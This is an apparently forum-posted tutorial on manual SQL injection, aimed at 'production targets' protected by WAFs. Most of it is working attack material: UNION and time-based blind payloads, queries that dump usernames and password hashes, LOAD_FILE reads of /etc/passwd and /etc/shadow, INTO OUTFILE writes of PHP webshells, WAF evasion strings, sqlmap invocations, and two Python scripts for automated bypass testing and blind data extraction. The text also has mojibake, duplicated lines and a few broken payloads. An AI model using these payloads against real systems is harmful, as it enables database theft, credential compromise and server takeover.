> Posted by: sqlninja_dev | Rank: Elite Member | Joined: 2023 [/I]
β’ Basic understanding of how databases work
β’ SQL basics (SELECT, UNION, WHERE, ORDER BY)
β’ A test environment (DVWA, SQLi Labs, or your own lab)
β’ NEVER test on systems you don't own or have permission for
β’ SQL basics (SELECT, UNION, WHERE, ORDER BY)
β’ A test environment (DVWA, SQLi Labs, or your own lab)
β’ NEVER test on systems you don't own or have permission for
Look, I get it. sqlmap is awesome. It automates the boring stuff.[/B]
But here's the thing - when you're up against a production target with WAFs, rate limiting, and advanced SQL injection protections, sqlmap either fails or gets you flagged. That's when you need to know what's actually happening under the hood.
Let me show you how to do SQLi manually like a grown-assζΈιζ΅θ―ε.
---
βββ PHASE 1: Finding the Injection Point βββ
Step 1: Basic Test - Single Quote
Try appending
Code:
'[εεΌε·] to any input field:
[CODE]
/search?q=test'
/user?id=1'
/login?user=admin'
What to look for:
- SQL Error Message: "You have an error in your SQL syntax" β GOLD
- Blank Page: Query is dying silently
- Different Output: Error vs normal page = injection point
- HTTP 500: Server error on malformed input
Step 2: Determine Number of Columns
Code:
ORDER BY 1-- (works)
ORDER BY 2-- (works)
ORDER BY 3-- (works)
ORDER BY 4-- (error!) β 3 columns
Step 3: Find UNION Column Positions
Code:
' UNION SELECT NULL,NULL,NULL-- (use -1 or another invalid value first)
' UNION SELECT 1,2,3-- (numeric values work everywhere)
---
βββ PHASE 2: Database Enumeration βββ
MySQL (most common):
Code:
' UNION SELECT 1,version(),3-- β Database version
' UNION SELECT 1,user(),3-- β Current user
' UNION SELECT 1,database(),3-- β Current database
' UNION SELECT 1,@@datadir,3-- β Data directory
' UNION SELECT 1,@@version_compile_os,3-- β OS info
PostgreSQL:
Code:
' UNION SELECT 1,version(),3--
' UNION SELECT 1,current_user,3--
' UNION SELECT 1,current_database(),3--
' UNION SELECT 1,session_user,3--
Microsoft SQL Server:
Code:
' UNION SELECT 1,@@version,3--
' UNION SELECT 1,user_name(),3--
' UNION SELECT 1 db_name(),3--
' UNION SELECT 1,SYSTEM_USER,3--
---
βββ PHASE 3: Database Schema Discovery βββ
MySQL - Finding Tables and Columns:
Code:
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_schema='security' AND table_name='users'--
Blind SQLi - Extracting Data Character by Character:
Code:
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))>65--
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))>100--
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))>110--
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))=110-- β 'n'
Code:
' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))>100,SLEEP(5),0)--
' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))>110,SLEEP(5),0)--
' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))=110,SLEEP(5),0)--
# If page takes 5+ seconds to load, the character is 'n'
---
βββ PHASE 4: Advanced Extraction Techniques βββ
Extracting User Credentials (MySQL):
Code:
' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users--
# 0x3a is colon separator
' UNION SELECT 1,GROUP_CONCAT(user,0x3a,host,0x3a,password),3 FROM mysql.user--
# MySQL 5.x password hashes (deprecated)
' UNION SELECT 1,GROUP_CONCAT(user,0x3a,host,0x3a,authentication_string),3 FROM mysql.user--
# MySQL 8.x password hashes
Reading Files Directly (MySQL - requires FILE privilege):
Code:
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--
' UNION SELECT 1,LOAD_FILE('C:\\Windows\\win.ini'),3--
' UNION SELECT 1,LOAD_FILE('/etc/shadow'),3--
Writing Files (MySQL - for webshell upload):
Code:
' UNION SELECT 1,'<?php system($_GET[cmd]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'--
# Or with FULL column specification:
' UNION SELECT 1,'<?php echo shell_exec($_GET[cmd]); ?>',3 INTO OUTFILE '/var/www/html/cmd.php'--
Code:
INTO OUTFILE
Code:
secure_file_priv
Code:
' UNION SELECT 1,@@secure_file_priv,3--
---
βββ PHASE 5: WAF Bypass Techniques βββ
Common WAF Rules to Bypass:
Code:
# Block: SELECT, UNION, WHERE, FROM, --, #, /*
# Block: spaces, comments, common SQL keywords
# Bypass 1: Alternative Comments
'UNI/**/ON SELECT 1,2,3--
'UNI/*comment*/ON SEL/*comment*/ECT 1,2,3
# Bypass 2: Alternative Whitespace
'UNI%0aON%0aSELECT%0a1,2,3-- (newlines)
'UNI%09ON%09SELECT%091,2,3-- (tabs)
'UNI%0dON%0dSELECT%0d1,2,3-- (carriage returns)
# Bypass 3: Hex Encoding
'UNI%78ON SEL%65CT 1,2,3--
# Bypass 4: String Concatenation
'UN||'ION SE||'LECT 1,2,3--
# Bypass 5: Case Variation
'UnIoN sElEcT 1,2,3--
# Bypass 6: Double URL Encoding
%25%32%35%25%32%37%25%36%31 (UNI)
# Bypass 7: Unicode Characters
'UNION SELECT 1,2,3-- β '%u0055%u004E%u0049%u004F%u004E'
Automated Bypass Script:
Code:
#!/usr/bin/env python3
"""
SQL Injection WAF Bypass Tester
"""
import requests
import urllib.parse
import sys
class SQLiBypassTester:
def __init__(self, target_url):
self.url = target_url
self.bypasses = self.load_bypasses()
def load_bypasses(self):
return {
"comments": [
"SELECT/*comment*/1",
"SELECT/**/1",
"SELECT%23comment%0A1",
],
"whitespace": [
"SELECT%091",
"SELECT%0A1",
"SELECT%0D1",
"SELECT%20%201",
],
"string_concat": [
"UN||'ION SEL||'ECT",
"UN'+'ION SE'+'LECT",
],
"hex_encoding": [
"0x554E494F4E53454C454354",
],
"case_variation": [
"sElEcT",
"SeLeCt",
"SELect",
],
"double_encoding": [
"%25%32%35%25%32%37%25%36%31",
]
}
def test_payload(self, original, bypass_variant):
payload = original.replace("SELECT", bypass_variant)
encoded = urllib.parse.quote(payload)
try:
resp = requests.get(self.url + encoded, timeout=10)
return {
"payload": payload,
"encoded": encoded,
"status": resp.status_code,
"length": len(resp.text),
"time": resp.elapsed.total_seconds(),
}
except Exception as e:
return {"payload": payload, "error": str(e)}
def run_test(self):
base_payload = "' UNION SELECT 1,2,3--"
results = []
for category, variants in self.bypasses.items():
for variant in variants:
result = self.test_payload(base_payload, variant)
result["category"] = category
result["original"] = base_payload
results.append(result)
print(f" [{category}] {variant[:30]}... β HTTP {result.get('status', 'ERR')}")
return results
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>")
sys.exit(1)
tester = SQLiBypassTester(sys.argv[1])
results = tester.run_test()
---
βββ PHASE 6: Automated Tooling (Beyond sqlmap) βββ
SQLMap with Custom Options:
Code:
# Basic injection test
sqlmap -u "http://target.com/page?id=1" --batch --level=3 --risk=2
# With WAF bypass
sqlmap -u "http://target.com/page?id=1" --batch --technique=UE
sqlmap -u "http://target.com/page?id=1" --batch --tamper=space2comment,randomcase
# Custom tamper scripts
sqlmap -u "http://target.com/page?id=1" --batch --tamper=apostrophemask,between,bluecoat,space2comment
# Crawling mode (find params automatically)
sqlmap -u "http://target.com/" --crawl=3 --batch --depth=2
# With authentication
sqlmap -u "http://target.com/page?id=1" --batch --cookie="session=abc123"
sqlmap -u "http://target.com/page?id=1" --batch --auth-type=Basic --auth-cred="user:pass"
# Second-order injection (stored in DB, triggered later)
sqlmap -u "http://target.com/register" --data="username=test&email=test@test.com" --batch
Custom Python Exploit Framework:
Code:
#!/usr/bin/env python3
"""
Custom SQLi Extraction Framework
"""
import requests
import urllib.parse
import time
import sys
class SQLiExtractor:
def __init__(self, url, param, session=None):
self.url = url
self.param = param
self.session = session or requests.Session()
self.characters = "abcdefghijklmnopqrstuvwxyz0123456789@_.{}()-:ABCDEFGHIJKLMNOPQRSTUVWXYZ"
self.timeout = 10
def extract_length(self, query):
"""Extract the length of a query result"""
for length in range(1, 100):
payload = f"' AND LENGTH({query})={length}--"
if self.test_payload(payload):
return length
return 0
def extract_string(self, query, max_length=50):
"""Extract a string character by character"""
result = ""
for pos in range(1, max_length + 1):
for char in self.characters:
payload = f"' AND SUBSTRING({query},{pos},1)='{char}'--"
if self.test_payload(payload):
result += char
print(f" [+] Extracted: {result}", end='\r')
break
return result
def test_payload(self, payload):
"""Test if a payload causes a true condition"""
params = {self.param: payload}
try:
resp = self.session.get(self.url, params=params, timeout=self.timeout)
# Compare response with baseline
return len(resp.text) > 1000 # Adjust based on target
except:
return False
def extract_database_info(self):
"""Extract database information"""
print("[*] Extracting database info...")
info = {
"version": self.extract_string("VERSION()"),
"user": self.extract_string("USER()"),
"database": self.extract_string("DATABASE()"),
"hostname": self.extract_string("@@hostname"),
}
print(f"\n[+] Database: {info['database']}")
print(f"[+] User: {info['user']}")
print(f"[+] Version: {info['version']}")
print(f"[+] Host: {info['hostname']}")
return info
def extract_tables(self, db=None):
"""Extract table names from a database"""
print("[*] Extracting table names...")
if db:
query = f"(SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT 0,1)"
else:
query = "(SELECT table_name FROM information_schema.tables LIMIT 0,1)"
tables = []
offset = 0
while True:
if db:
query = f"(SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT {offset},1)"
else:
query = f"(SELECT table_name FROM information_schema.tables LIMIT {offset},1)"
table = self.extract_string(query, 50)
if not table or table in tables:
break
tables.append(table)
print(f" [+] Table {offset}: {table}")
offset += 1
return tables
def extract_columns(self, table):
"""Extract column names from a table"""
print(f"[*] Extracting columns for {table}...")
columns = []
query = f"(SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT 0,1)"
offset = 0
while True:
query = f"(SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {offset},1)"
column = self.extract_string(query, 50)
if not column or column in columns:
break
columns.append(column)
print(f" [+] Column {offset}: {column}")
offset += 1
return columns
def extract_data(self, table, columns, limit=10):
"""Extract data from specific table and columns"""
print(f"[*] Extracting data from {table}...")
col_list = ",".join(columns)
results = []
for offset in range(limit):
row = {}
for col in columns:
query = f"(SELECT {col} FROM {table} LIMIT {offset},1)"
row[col] = self.extract_string(query, 100)
results.append(row)
print(f" [+] Row {offset}: {row}")
return results
if __name__ == "__main__":
if len(sys.argv) < 4:
print(f"Usage: {sys.argv[0]} <url> <param> [table]")
sys.exit(1)
extractor = SQLiExtractor(sys.argv[1], sys.argv[2])
extractor.extract_database_info()
if len(sys.argv) == 4:
tables = extractor.extract_tables()
if sys.argv[3] in tables:
columns = extractor.extract_columns(sys.argv[3])
data = extractor.extract_data(sys.argv[3], columns)
---
βββ TL;DR βββ
Code:
β
Start with single quote test: ' OR 1=1--
β
Use ORDER BY to find column count
β
UNION SELECT to extract data (if supported)
β
Blind SQLi: Use SLEEP() or BENCHMARK() for time-based extraction
β
WAF bypass: Comments, whitespace, case variation, encoding
β
Always test in a lab environment first
β
Document your methodology for the report
---
Got questions or found a cool bypass? Drop it below.
Next: XSS chains and DOM-based exploitation.
Last edited by sqlninja_dev; 3 hours ago.
[SIG]ββββββββββββββββββββββββββββββββββββββββ
sqlninja_dev | Elite Member | Web App Security
ββββββββββββββββββββββββββββββββββββββββ[/SIG][/b][/b][/b][/b][/b]